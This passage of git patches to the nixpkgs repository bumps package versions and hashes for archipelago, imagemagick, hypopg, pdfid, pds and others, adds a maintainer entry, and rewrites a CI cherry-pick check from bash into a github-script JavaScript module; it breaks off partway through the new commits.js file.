--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -10698,6 +10698,12 @@
     githubId = 16307070;
     name = "iosmanthus";
   };
+  iqubic = {
+    email = "sophia.b.caspe@gmail.com";
+    github = "iqubic";
+    githubId = 22628816;
+    name = "Sophia Caspe";
+  };
   iquerejeta = {
     github = "iquerejeta";
     githubId = 31273774;

From 35f6fef0e6ed1c7f9fcc455285d302f07ce08c1a Mon Sep 17 00:00:00 2001
From: iqubic <avi.caspe@gmail.com>
Date: Sun, 13 Jul 2025 20:11:29 -0700
Subject: [PATCH 2484/4511] archipelago: 0.6.1 -> 0.6.2

(cherry picked from commit 3856851416938f3108f15ca989c5143f77f745d7)
---
 pkgs/by-name/ar/archipelago/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ar/archipelago/package.nix b/pkgs/by-name/ar/archipelago/package.nix
index 4140936fc5e7..07414957532e 100644
--- a/pkgs/by-name/ar/archipelago/package.nix
+++ b/pkgs/by-name/ar/archipelago/package.nix
@@ -7,10 +7,10 @@
 }:
 let
   pname = "archipelago";
-  version = "0.6.1";
+  version = "0.6.2";
   src = fetchurl {
     url = "https://github.com/ArchipelagoMW/Archipelago/releases/download/${version}/Archipelago_${version}_linux-x86_64.AppImage";
-    hash = "sha256-8mPlR5xVnHL9I0rV4bMFaffSJv7dMlCcPHrLkM/pyVU=";
+    hash = "sha256-DdlfHb8iTCfTGGBUYQeELYh2NF/2GcamtuJzeYb2A5M=";
   };
 
   appimageContents = appimageTools.extractType2 { inherit pname version src; };

From 7785d9e4e0864167071ba4ab6db366e92223693d Mon Sep 17 00:00:00 2001
From: iqubic <avi.caspe@gmail.com>
Date: Sun, 13 Jul 2025 21:02:59 -0700
Subject: [PATCH 2485/4511] archipelago: add iqubic as a maintainer

(cherry picked from commit 5bfca71fd2b36f9535aab78d65983a2e243fe4ec)
---
 pkgs/by-name/ar/archipelago/package.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/ar/archipelago/package.nix b/pkgs/by-name/ar/archipelago/package.nix
index 07414957532e..e0cd0fcaac95 100644
--- a/pkgs/by-name/ar/archipelago/package.nix
+++ b/pkgs/by-name/ar/archipelago/package.nix
@@ -40,7 +40,10 @@ appimageTools.wrapType2 {
     changelog = "https://github.com/ArchipelagoMW/Archipelago/releases/tag/${version}";
     license = lib.licenses.mit;
     mainProgram = "archipelago";
-    maintainers = with lib.maintainers; [ pyrox0 ];
+    maintainers = with lib.maintainers; [
+      pyrox0
+      iqubic
+    ];
     platforms = lib.platforms.linux;
   };
 }

From 4ad7afbc8434c0f75468608ba62f880b844bd7e1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Sun, 13 Jul 2025 12:07:51 -0700
Subject: [PATCH 2486/4511] imagemagick: 7.1.1-47 -> 7.1.2-0

Diff: https://github.com/ImageMagick/ImageMagick/compare/refs/tags/7.1.1-47...refs/tags/7.1.2-0

Changelog: https://github.com/ImageMagick/Website/blob/main/ChangeLog.md
(cherry picked from commit 1e2877d7f7b001381a8c9e6a0663205eebdcd6e6)
---
 pkgs/applications/graphics/ImageMagick/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/graphics/ImageMagick/default.nix b/pkgs/applications/graphics/ImageMagick/default.nix
index 1e6f6195c234..aed3d2193ff5 100644
--- a/pkgs/applications/graphics/ImageMagick/default.nix
+++ b/pkgs/applications/graphics/ImageMagick/default.nix
@@ -85,13 +85,13 @@ in
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "imagemagick";
-  version = "7.1.1-47";
+  version = "7.1.2-0";
 
   src = fetchFromGitHub {
     owner = "ImageMagick";
     repo = "ImageMagick";
     tag = finalAttrs.version;
-    hash = "sha256-lRPGVGv86vH7Q1cLoLp8mOAkxcHTHgUrx0mmKgl1oEc=";
+    hash = "sha256-4x0+yELmXstv9hPuwzMGcKiTa1rZtURZgwSSVIhzAkE=";
   };
 
   outputs = [

From a37e0800d3be502e96d41fcf77e3f288cb486907 Mon Sep 17 00:00:00 2001
From: Savyasachee Jha <genghizkhan91@hawkradius.com>
Date: Thu, 10 Jul 2025 08:04:36 +0200
Subject: [PATCH 2487/4511] firefly-iii-data-importer: 1.7.3 -> 1.7.6

(cherry picked from commit a848492351d62aad97e4c4494390f6aeeac1f61b)
---
 pkgs/by-name/fi/firefly-iii-data-importer/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/fi/firefly-iii-data-importer/package.nix b/pkgs/by-name/fi/firefly-iii-data-importer/package.nix
index 381408cd8e5d..3be092be7ca3 100644
--- a/pkgs/by-name/fi/firefly-iii-data-importer/package.nix
+++ b/pkgs/by-name/fi/firefly-iii-data-importer/package.nix
@@ -13,13 +13,13 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "firefly-iii-data-importer";
-  version = "1.7.3";
+  version = "1.7.6";
 
   src = fetchFromGitHub {
     owner = "firefly-iii";
     repo = "data-importer";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-CUotqHmVXKKkbAS4a7YWoVjs1GRhxrA5Y5rXtMx/mCo=";
+    hash = "sha256-2QjflXnusdqg63S1RgSbDsYHk9U4Xjf59wkvvo9n+Zo=";
   };
 
   buildInputs = [ php84 ];
@@ -38,12 +38,12 @@ stdenvNoCC.mkDerivation (finalAttrs: {
   composerStrictValidation = true;
   strictDeps = true;
 
-  vendorHash = "sha256-JN9HaX056+AhYkMyZ7KO7c6z43ynbRyORAOvW+6eVO8=";
+  vendorHash = "sha256-j0KjjmaDyFBFWnz6e4Bkrb3gkitfSKsj9UB2j/G19do=";
 
   npmDeps = fetchNpmDeps {
     inherit (finalAttrs) src;
     name = "${finalAttrs.pname}-npm-deps";
-    hash = "sha256-0vMxwm6NOdhCQcVeO93QNGB1BlqVckXzHkpCVvDB9ms=";
+    hash = "sha256-4bDSEGg5vGoam1PLRfaxJK0aQ+MLBTF+GP0AZQjHvVw=";
   };
 
   composerRepository = php84.mkComposerRepository {

From 50c8b3dec4824034894bd2e40db0527db5bac9c4 Mon Sep 17 00:00:00 2001
From: Savyasachee Jha <genghizkhan91@hawkradius.com>
Date: Thu, 10 Jul 2025 08:05:18 +0200
Subject: [PATCH 2488/4511] nixosTests.firefly-iii-data-importer: Added
 meta.platforms so that tests are skipped appropriately

(cherry picked from commit 2302a4bb5de7a8f47ba1bb8aae80460906649da5)
---
 nixos/tests/firefly-iii-data-importer.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/nixos/tests/firefly-iii-data-importer.nix b/nixos/tests/firefly-iii-data-importer.nix
index d43a30650bc2..a068ff2d025e 100644
--- a/nixos/tests/firefly-iii-data-importer.nix
+++ b/nixos/tests/firefly-iii-data-importer.nix
@@ -1,7 +1,10 @@
 { lib, ... }:
 {
   name = "firefly-iii-data-importer";
-  meta.maintainers = [ lib.maintainers.savyajha ];
+  meta = {
+    maintainers = [ lib.maintainers.savyajha ];
+    platforms = lib.platforms.linux;
+  };
 
   nodes.dataImporter =
     { ... }:

From 582cb85fd3fc9b4295e8e860c2a7c99b4a18ebac Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 9 Jul 2025 15:08:09 +0000
Subject: [PATCH 2489/4511] postgresqlPackages.hypopg: 1.4.1 -> 1.4.2

(cherry picked from commit aa18f87e062c6acca74996ee2b1adb42c2abede9)
---
 pkgs/servers/sql/postgresql/ext/hypopg.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/sql/postgresql/ext/hypopg.nix b/pkgs/servers/sql/postgresql/ext/hypopg.nix
index 4389862a5403..d5c0fd4cfe85 100644
--- a/pkgs/servers/sql/postgresql/ext/hypopg.nix
+++ b/pkgs/servers/sql/postgresql/ext/hypopg.nix
@@ -8,13 +8,13 @@
 
 postgresqlBuildExtension (finalAttrs: {
   pname = "hypopg";
-  version = "1.4.1";
+  version = "1.4.2";
 
   src = fetchFromGitHub {
     owner = "HypoPG";
     repo = "hypopg";
     tag = finalAttrs.version;
-    hash = "sha256-88uKPSnITRZ2VkelI56jZ9GWazG/Rn39QlyHKJKSKMM=";
+    hash = "sha256-J1ltvNHB2v2I9IbYjM8w2mhXvBX31NkMasCL0O7bV8w=";
   };
 
   passthru = {

From a5474f07d9d289acd95fdd38ef56306436c8dceb Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 9 Jul 2025 17:29:24 +0200
Subject: [PATCH 2490/4511] postgresqlPackages.hypopg: add meta.changelog

(cherry picked from commit cfb4e6450ea049ee6db0d29c9d5d79f77919555c)
---
 pkgs/servers/sql/postgresql/ext/hypopg.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/servers/sql/postgresql/ext/hypopg.nix b/pkgs/servers/sql/postgresql/ext/hypopg.nix
index d5c0fd4cfe85..0f89f16833dc 100644
--- a/pkgs/servers/sql/postgresql/ext/hypopg.nix
+++ b/pkgs/servers/sql/postgresql/ext/hypopg.nix
@@ -26,6 +26,7 @@ postgresqlBuildExtension (finalAttrs: {
   meta = {
     description = "Hypothetical Indexes for PostgreSQL";
     homepage = "https://hypopg.readthedocs.io";
+    changelog = "https://github.com/HypoPG/hypopg/releases/tag/${finalAttrs.version}";
     license = lib.licenses.postgresql;
     platforms = postgresql.meta.platforms;
     maintainers = with lib.maintainers; [ bbigras ];

From 2a13a38fc7ab354fc696737190581db1b00ceb6b Mon Sep 17 00:00:00 2001
From: Antonio <vozaanthony@gmail.com>
Date: Tue, 15 Jul 2025 12:16:47 +0200
Subject: [PATCH 2491/4511] pdfid: 0.2.8 -> 0.2.10

(cherry picked from commit eed9bd2ce2f9f3017f1a9ef3e0f9f16eb4e44ce7)
---
 pkgs/by-name/pd/pdfid/package.nix | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/pd/pdfid/package.nix b/pkgs/by-name/pd/pdfid/package.nix
index 321f7ad9f076..18dfd9bfe582 100644
--- a/pkgs/by-name/pd/pdfid/package.nix
+++ b/pkgs/by-name/pd/pdfid/package.nix
@@ -8,12 +8,14 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "pdfid";
-  version = "0.2.8";
+  version = "0.2.10";
   format = "other";
 
   src = fetchzip {
-    url = "https://didierstevens.com/files/software/pdfid_v0_2_8.zip";
-    hash = "sha256-ZLyhBMF2KMX0c1oCvuSCjEjHTnm2gFhJtasaTD9Q1BI=";
+    url = "https://didierstevens.com/files/software/pdfid_v${
+      builtins.replaceStrings [ "." ] [ "_" ] version
+    }.zip";
+    hash = "sha256-GxQOwIwCVaKEruFO+kxXciOiFcXtBO0vvCwb6683lGU=";
     stripRoot = false;
   };
 
@@ -25,7 +27,8 @@ python3Packages.buildPythonApplication rec {
     runHook preInstall
     mkdir -p $out/{bin,share/pdfid}
     cp -a * $out/share/pdfid/
-    makeBinaryWrapper ${lib.getExe python3} $out/bin/${meta.mainProgram} \
+    makeWrapper ${lib.getExe python3} $out/bin/pdfid \
+      --prefix PYTHONPATH : "$PYTHONPATH" \
       --add-flags "$out/share/pdfid/pdfid.py"
     runHook postInstall
   '';

From 602788ef4ac15cc9b08c3a93fb5fcf59fa0c3be3 Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Sun, 13 Jul 2025 19:11:19 +0200
Subject: [PATCH 2492/4511] scx.full: 1.0.13 -> 1.0.14

(cherry picked from commit ff86cbb5c2d89dcd0cbbc5e7fd0de780ab65a59f)
---
 pkgs/os-specific/linux/scx/scx_cscheds.nix | 4 ++++
 pkgs/os-specific/linux/scx/version.json    | 6 +++---
 2 files changed, 7 insertions(+), 3 deletions(-)

diff --git a/pkgs/os-specific/linux/scx/scx_cscheds.nix b/pkgs/os-specific/linux/scx/scx_cscheds.nix
index 6d97e12447fa..d262c8b0d513 100644
--- a/pkgs/os-specific/linux/scx/scx_cscheds.nix
+++ b/pkgs/os-specific/linux/scx/scx_cscheds.nix
@@ -67,6 +67,10 @@ llvmPackages.stdenv.mkDerivation (finalAttrs: {
     cp ${finalAttrs.fetchLibbpf} meson-scripts/fetch_libbpf
     substituteInPlace meson.build \
       --replace-fail '[build_bpftool' "['${misbehaviorBash}', build_bpftool"
+
+    # TODO: Remove in next release.
+    substituteInPlace lib/scxtest/overrides.h \
+      --replace-fail '#define __builtin_preserve_enum_value(x,y,z) 1' '#define __builtin_preserve_enum_value(x,y) 1'
   '';
 
   nativeBuildInputs =
diff --git a/pkgs/os-specific/linux/scx/version.json b/pkgs/os-specific/linux/scx/version.json
index f517f6679ee3..822e674361ed 100644
--- a/pkgs/os-specific/linux/scx/version.json
+++ b/pkgs/os-specific/linux/scx/version.json
@@ -1,8 +1,8 @@
 {
   "scx": {
-    "version": "1.0.13",
-    "hash": "sha256-uSYkAsDZEWJ7sB6jd7PZrwYepeLlTdiTi4kAgSDeVsU=",
-    "cargoHash": "sha256-+JDe7l4wX2balOUD11M9z60JSaRyMaIO7Pw1NrjnE30="
+    "version": "1.0.14",
+    "hash": "sha256-Wh+8vaQO93Erj+z8S2C633UDmUrFjQc3Bg+Nm7EML0E=",
+    "cargoHash": "sha256-6uiDx2/5ZcYkz8x8vuOTEUclIttzxVMvh1Q6QHg9N6E="
   },
   "bpftool": {
     "rev": "183e7010387d1fc9f08051426e9a9fbd5f8d409e",

From 6c456beaf79617621a5c95729d8a460c0d071655 Mon Sep 17 00:00:00 2001
From: John Titor <50095635+JohnRTitor@users.noreply.github.com>
Date: Wed, 16 Jul 2025 14:19:19 +0530
Subject: [PATCH 2493/4511] scx.cscheds: fix build

by doing this in postFixup, we hopefully don't create a cycle
here obviously this is a dirty fix, but better solutions can be
thought later
Closes https://github.com/NixOS/nixpkgs/issues/425498

Signed-off-by: John Titor <50095635+JohnRTitor@users.noreply.github.com>
(cherry picked from commit a15f79a5d2abace70512fe3bdd2b7338baa85c1d)
---
 pkgs/os-specific/linux/scx/scx_cscheds.nix    | 7 +++----
 pkgs/os-specific/linux/scx/scx_rustscheds.nix | 3 +--
 2 files changed, 4 insertions(+), 6 deletions(-)

diff --git a/pkgs/os-specific/linux/scx/scx_cscheds.nix b/pkgs/os-specific/linux/scx/scx_cscheds.nix
index d262c8b0d513..e024239ccb50 100644
--- a/pkgs/os-specific/linux/scx/scx_cscheds.nix
+++ b/pkgs/os-specific/linux/scx/scx_cscheds.nix
@@ -118,10 +118,9 @@ llvmPackages.stdenv.mkDerivation (finalAttrs: {
 
   # We copy the compiled header files to the dev output
   # These are needed for the rust schedulers
-  preInstall = ''
-    mkdir -p ${placeholder "dev"}/libbpf ${placeholder "dev"}/bpftool
-    cp -r libbpf/* ${placeholder "dev"}/libbpf/
-    cp -r bpftool/* ${placeholder "dev"}/bpftool/
+  postFixup = ''
+    mkdir -p ${placeholder "dev"}
+    cp -r libbpf ${placeholder "dev"}
   '';
 
   outputs = [
diff --git a/pkgs/os-specific/linux/scx/scx_rustscheds.nix b/pkgs/os-specific/linux/scx/scx_rustscheds.nix
index ed58e7bc7726..5678a8a788ba 100644
--- a/pkgs/os-specific/linux/scx/scx_rustscheds.nix
+++ b/pkgs/os-specific/linux/scx/scx_rustscheds.nix
@@ -20,8 +20,7 @@ rustPlatform.buildRustPackage {
 
   # Copy compiled headers and libs from scx.cscheds
   postPatch = ''
-    mkdir bpftool libbpf
-    cp -r ${scx.cscheds.dev}/bpftool/* bpftool/
+    mkdir libbpf
     cp -r ${scx.cscheds.dev}/libbpf/* libbpf/
   '';
 

From 1233d03724d6f71c9b982ff856b5f83217784700 Mon Sep 17 00:00:00 2001
From: isabel <isabel@isabelroses.com>
Date: Tue, 15 Jul 2025 22:56:58 +0100
Subject: [PATCH 2494/4511] pds: 0.4.107 -> 0.4.158

Diff: https://github.com/bluesky-social/pds/compare/refs/tags/v0.4.107...refs/tags/v0.4.158
(cherry picked from commit 74c6279d5b8040f5c05adae12483e1d3666c8777)
---
 pkgs/by-name/pd/pds/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/pd/pds/package.nix b/pkgs/by-name/pd/pds/package.nix
index 17651e7959ba..30617b82fe64 100644
--- a/pkgs/by-name/pd/pds/package.nix
+++ b/pkgs/by-name/pd/pds/package.nix
@@ -20,13 +20,13 @@ in
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "pds";
-  version = "0.4.107";
+  version = "0.4.158";
 
   src = fetchFromGitHub {
     owner = "bluesky-social";
     repo = "pds";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-cS9BVR14CAqT1dMw8afd3jVygG1h9bdF0QZ7mBVlIe8=";
+    hash = "sha256-TesrTKAP2wIQ+H6srvVbS6GF/7Be2xJa1dn/krScPOs=";
   };
 
   sourceRoot = "${finalAttrs.src.name}/service";
@@ -50,7 +50,7 @@ stdenv.mkDerivation (finalAttrs: {
       src
       sourceRoot
       ;
-    hash = "sha256-KyHa7pZaCgyqzivI0Y7E6Y4yBRllYdYLnk1s0o0dyHY=";
+    hash = "sha256-+ESVGrgXNCQWOhqH4PM5lKQKcxE/5zxRmIboDZxgxcc=";
   };
 
   buildPhase = ''

From b028a6e7b34697ce098a226a7639c1db6949c212 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 13 Jul 2025 21:11:43 +0200
Subject: [PATCH 2495/4511] ci/github-script: use real @actions/core

This allows building markdown summaries, which is hard to mock.

(cherry picked from commit 2433050fb7e8130a9b421f09cad2daca19414fe1)
---
 ci/github-script/.npmrc            |  1 +
 ci/github-script/package-lock.json |  1 +
 ci/github-script/package.json      |  1 +
 ci/github-script/run               | 15 +++------------
 4 files changed, 6 insertions(+), 12 deletions(-)

diff --git a/ci/github-script/.npmrc b/ci/github-script/.npmrc
index f91a336f47b6..fb41d64f4679 100644
--- a/ci/github-script/.npmrc
+++ b/ci/github-script/.npmrc
@@ -1 +1,2 @@
 package-lock-only = true
+save-exact = true
diff --git a/ci/github-script/package-lock.json b/ci/github-script/package-lock.json
index 538083dcea93..0dcc9b68e259 100644
--- a/ci/github-script/package-lock.json
+++ b/ci/github-script/package-lock.json
@@ -6,6 +6,7 @@
     "": {
       "dependencies": {
         "@actions/artifact": "2.3.2",
+        "@actions/core": "1.11.1",
         "@actions/github": "6.0.1",
         "bottleneck": "2.19.5",
         "commander": "14.0.0"
diff --git a/ci/github-script/package.json b/ci/github-script/package.json
index 4671dd41f0cd..860bb09cdd95 100644
--- a/ci/github-script/package.json
+++ b/ci/github-script/package.json
@@ -2,6 +2,7 @@
   "private": true,
   "dependencies": {
     "@actions/artifact": "2.3.2",
+    "@actions/core": "1.11.1",
     "@actions/github": "6.0.1",
     "bottleneck": "2.19.5",
     "commander": "14.0.0"
diff --git a/ci/github-script/run b/ci/github-script/run
index cbf3ea9315e0..03309352aeee 100755
--- a/ci/github-script/run
+++ b/ci/github-script/run
@@ -4,6 +4,7 @@ import { mkdtempSync, rmSync } from 'node:fs'
 import { tmpdir } from 'node:os'
 import { join } from 'node:path'
 import { program } from 'commander'
+import * as core from '@actions/core'
 import { getOctokit } from '@actions/github'
 
 async function run(action, owner, repo, pull_number, dry) {
@@ -22,6 +23,7 @@ async function run(action, owner, repo, pull_number, dry) {
   const tmp = mkdtempSync(join(tmpdir(), 'github-script-'))
   try {
     process.env.GITHUB_WORKSPACE = tmp
+    process.env['INPUT_GITHUB-TOKEN'] = token
     process.chdir(tmp)
 
     await action({
@@ -33,18 +35,7 @@ async function run(action, owner, repo, pull_number, dry) {
           repo,
         },
       },
-      core: {
-        getInput() {
-          return token
-        },
-        error: console.error,
-        info: console.log,
-        notice: console.log,
-        setFailed(msg) {
-          console.error(msg)
-          process.exitCode = 1
-        },
-      },
+      core,
       dry,
     })
   } finally {

From 7f19a6e408a7990b6d7aef5e14bc401b972870fb Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 13 Jul 2025 19:42:12 +0200
Subject: [PATCH 2496/4511] ci/github-script/commits: init from
 ci/check-cherry-picks

This turns the check-cherry-pick script into a github-script based
JavaScript program. This makes it much easier to extend to check reverts
or merge commits later on.

(cherry picked from commit b46cb23251b43bd963ea48fd414fd2cf9ac739f6)
---
 .github/workflows/check.yml                  |  37 +---
 ci/check-cherry-picks.sh                     | 152 --------------
 ci/github-script/.gitignore                  |   1 +
 ci/github-script/README.md                   |   4 +
 ci/{ => github-script}/check-cherry-picks.md |   0
 ci/github-script/commits.js                  | 199 +++++++++++++++++++
 ci/github-script/run                         |  58 ++++--
 ci/github-script/withRateLimit.js            |   2 +
 8 files changed, 252 insertions(+), 201 deletions(-)
 delete mode 100755 ci/check-cherry-picks.sh
 rename ci/{ => github-script}/check-cherry-picks.md (100%)
 create mode 100644 ci/github-script/commits.js

diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml
index d77bbceb07f1..04f38641323c 100644
--- a/.github/workflows/check.yml
+++ b/.github/workflows/check.yml
@@ -45,42 +45,25 @@ jobs:
           filter: tree:0
           path: trusted
 
-      - name: Check cherry-picks
-        id: check
-        continue-on-error: true
-        env:
-          BASE_SHA: ${{ github.event.pull_request.base.sha }}
-          HEAD_SHA: ${{ github.event.pull_request.head.sha }}
-        run: |
-          ./trusted/ci/check-cherry-picks.sh "$BASE_SHA" "$HEAD_SHA" checked-cherry-picks.md
+      - name: Install dependencies
+        run: npm install bottleneck
 
       - name: Log current API rate limits
         env:
           GH_TOKEN: ${{ github.token }}
         run: gh api /rate_limit | jq
 
-      - name: Prepare review
-        if: steps.check.outcome == 'failure'
+      - name: Check cherry-picks
+        id: check
+        continue-on-error: true
         uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
         with:
           script: |
-            const { readFile, writeFile } = require('node:fs/promises')
-
-            const job_url = (await github.rest.actions.listJobsForWorkflowRun({
-              owner: context.repo.owner,
-              repo: context.repo.repo,
-              run_id: context.runId
-            })).data.jobs[0].html_url + '?pr=' + context.payload.pull_request.number
-
-            const header = await readFile('trusted/ci/check-cherry-picks.md')
-            const body = await readFile('checked-cherry-picks.md')
-            const footer =
-              `\n_Hint: The full diffs are also available in the [runner logs](${job_url}) with slightly better highlighting._`
-
-            const review = header + body + footer
-            await writeFile('review.md', review)
-            core.summary.addRaw(review)
-            core.summary.write()
+            require('./trusted/ci/github-script/commits.js')({
+              github,
+              context,
+              core,
+            })
 
       - name: Request changes
         if: ${{ github.event_name == 'pull_request_target' && steps.check.outcome == 'failure' }}
diff --git a/ci/check-cherry-picks.sh b/ci/check-cherry-picks.sh
deleted file mode 100755
index 113828f6ee1c..000000000000
--- a/ci/check-cherry-picks.sh
+++ /dev/null
@@ -1,152 +0,0 @@
-#!/usr/bin/env bash
-# Find alleged cherry-picks
-
-set -euo pipefail
-
-if [[ $# != "2" && $# != "3" ]] ; then
-  echo "usage: check-cherry-picks.sh base_rev head_rev [markdown_file]"
-  exit 2
-fi
-
-markdown_file="$(realpath ${3:-/dev/null})"
-[ -v 3 ] && rm -f "$markdown_file"
-
-# Make sure we are inside the nixpkgs repo, even when called from outside
-cd "$(dirname "${BASH_SOURCE[0]}")"
-
-PICKABLE_BRANCHES="master staging release-??.?? staging-??.?? haskell-updates python-updates staging-next staging-next-??.??"
-problem=0
-
-# Not everyone calls their remote "origin"
-remote="$(git remote -v | grep -i 'NixOS/nixpkgs' | head -n1 | cut -f1 || true)"
-
-commits="$(git rev-list --reverse "$1..$2")"
-
-log() {
-  type="$1"
-  shift 1
-
-  local -A prefix
-  prefix[success]="  ✔ "
-  if [ -v GITHUB_ACTIONS ]; then
-    prefix[warning]="::warning::"
-    prefix[error]="::error::"
-  else
-    prefix[warning]="  ⚠ "
-    prefix[error]="  ✘ "
-  fi
-
-  echo "${prefix[$type]}$@"
-
-  # Only logging errors and warnings, which allows comparing the markdown file
-  # between pushes to the PR. Even if a new, proper cherry-pick, commit is added
-  # it won't change the markdown file's content and thus not trigger another comment.
-  if [ "$type" != "success" ]; then
-    local -A alert
-    alert[warning]="WARNING"
-    alert[error]="CAUTION"
-    echo >> $markdown_file
-    echo "> [!${alert[$type]}]" >> $markdown_file
-    echo "> $@" >> $markdown_file
-  fi
-}
-
-endgroup() {
-  if [ -v GITHUB_ACTIONS ] ; then
-    echo ::endgroup::
-  fi
-}
-
-while read -r new_commit_sha ; do
-  if [ -v GITHUB_ACTIONS ] ; then
-    echo "::group::Commit $new_commit_sha"
-  else
-    echo "================================================="
-  fi
-  git rev-list --max-count=1 --format=medium "$new_commit_sha"
-  echo "-------------------------------------------------"
-
-  # Using the last line with "cherry" + hash, because a chained backport
-  # can result in multiple of those lines. Only the last one counts.
-  original_commit_sha=$(
-    git rev-list --max-count=1 --format=format:%B "$new_commit_sha" \
-    | grep -Ei "cherry.*[0-9a-f]{40}" | tail -n1 \
-    | grep -Eoi -m1 '[0-9a-f]{40}' || true
-  )
-  if [ -z "$original_commit_sha" ] ; then
-    endgroup
-    log warning "Couldn't locate original commit hash in message of $new_commit_sha."
-    problem=1
-    continue
-  fi
-
-  set -f # prevent pathname expansion of patterns
-  for pattern in $PICKABLE_BRANCHES ; do
-    set +f # re-enable pathname expansion
-
-    # Reverse sorting by refname and taking one match only means we can only backport
-    # from unstable and the latest stable. That makes sense, because even right after
-    # branch-off, when we have two supported stable branches, we only ever want to cherry-pick
-    # **to** the older one, but never **from** it.
-    # This makes the job significantly faster in the case when commits can't be found,
-    # because it doesn't need to iterate through 20+ branches, which all need to be fetched.
-    branches="$(git for-each-ref --sort=-refname --format="%(refname)" \
-      "refs/remotes/${remote:-origin}/$pattern" | head -n1)"
-
-    while read -r picked_branch ; do
-      if git merge-base --is-ancestor "$original_commit_sha" "$picked_branch" ; then
-        range_diff_common='git --no-pager range-diff
-          --no-notes
-          --creation-factor=100
-          '"$original_commit_sha~..$original_commit_sha"'
-          '"$new_commit_sha~..$new_commit_sha"'
-        '
-
-        if $range_diff_common --no-color 2> /dev/null | grep -E '^ {4}[+-]{2}' > /dev/null ; then
-          log success "$original_commit_sha present in branch $picked_branch"
-          endgroup
-          log warning "Difference between $new_commit_sha and original $original_commit_sha may warrant inspection."
-
-          # First line contains commit SHAs, which we already printed.
-          $range_diff_common --color | tail -n +2
-
-          echo -e "> <details><summary>Show diff</summary>\n>" >> $markdown_file
-          echo '> ```diff' >> $markdown_file
-          # The output of `git range-diff` is indented with 4 spaces, which we need to match with the
-          # code blocks indent to get proper syntax highlighting on GitHub.
-          diff="$($range_diff_common | tail -n +2 | sed -Ee 's/^ {4}/> /g')"
-          # Also limit the output to 10k bytes (and remove the last, potentially incomplete line), because
-          # GitHub comments are limited in length. The value of 10k is arbitrary with the assumption, that
-          # after the range-diff becomes a certain size, a reviewer is better off reviewing the regular diff
-          # in GitHub's UI anyway, thus treating the commit as "new" and not cherry-picked.
-          # Note: This could still lead to a too lengthy comment with multiple commits touching the limit. We
-          # consider this too unlikely to happen, to deal with explicitly.
-          max_length=10000
-          if [ "${#diff}" -gt $max_length ]; then
-            printf -v diff "%s\n>\n> [...truncated...]" "$(echo "$diff" | head -c $max_length | head -n-1)"
-          fi
-          echo "$diff" >> $markdown_file
-          echo '> ```' >> $markdown_file
-          echo "> </details>" >> $markdown_file
-
-          problem=1
-        else
-          log success "$original_commit_sha present in branch $picked_branch"
-          log success "$original_commit_sha highly similar to $new_commit_sha"
-          $range_diff_common --color
-          endgroup
-        fi
-
-        # move on to next commit
-        continue 3
-      fi
-    done <<< "$branches"
-  done
-
-  endgroup
-  log error "$original_commit_sha given in $new_commit_sha not found in any pickable branch."
-
-  problem=1
-done <<< "$commits"
-
-exit $problem
diff --git a/ci/github-script/.gitignore b/ci/github-script/.gitignore
index 3c3629e647f5..6b8a37657bc7 100644
--- a/ci/github-script/.gitignore
+++ b/ci/github-script/.gitignore
@@ -1 +1,2 @@
 node_modules
+step-summary.md
diff --git a/ci/github-script/README.md b/ci/github-script/README.md
index caf52eb5bba3..52b78c79d79f 100644
--- a/ci/github-script/README.md
+++ b/ci/github-script/README.md
@@ -8,6 +8,10 @@ To run any of the scripts locally:
 - Enter `nix-shell` in `./ci/github-script`.
 - Ensure `gh` is authenticated.
 
+## Check commits
+
+Run `./run commits OWNER REPO PR`, where OWNER is your username or "NixOS", REPO is the name of your fork or "nixpkgs" and PR is the number of the pull request to check.
+
 ## Labeler
 
 Run `./run labels OWNER REPO`, where OWNER is your username or "NixOS" and REPO the name of your fork or "nixpkgs".
diff --git a/ci/check-cherry-picks.md b/ci/github-script/check-cherry-picks.md
similarity index 100%
rename from ci/check-cherry-picks.md
rename to ci/github-script/check-cherry-picks.md
diff --git a/ci/github-script/commits.js b/ci/github-script/commits.js
new file mode 100644
index 000000000000..99e969591045
--- /dev/null
+++ b/ci/github-script/commits.js
@@ -0,0 +1,199 @@
+module.exports = async function ({ github, context, core }) {
+  const { execFileSync } = require('node:child_process')
+  const { readFile, writeFile } = require('node:fs/promises')
+  const { join } = require('node:path')
+  const { classify } = require('../supportedBranches.js')
+  const withRateLimit = require('./withRateLimit.js')
+
+  await withRateLimit({ github, core }, async (stats) => {
+    stats.prs = 1
+
+    const job_url =
+      context.runId &&
+      (
+        await github.rest.actions.listJobsForWorkflowRun({
+          ...context.repo,
+          run_id: context.runId,
+        })
+      ).data.jobs[0].html_url +
+        '?pr=' +
+        context.payload.pull_request.number
+
+    async function handle({ sha, commit }) {
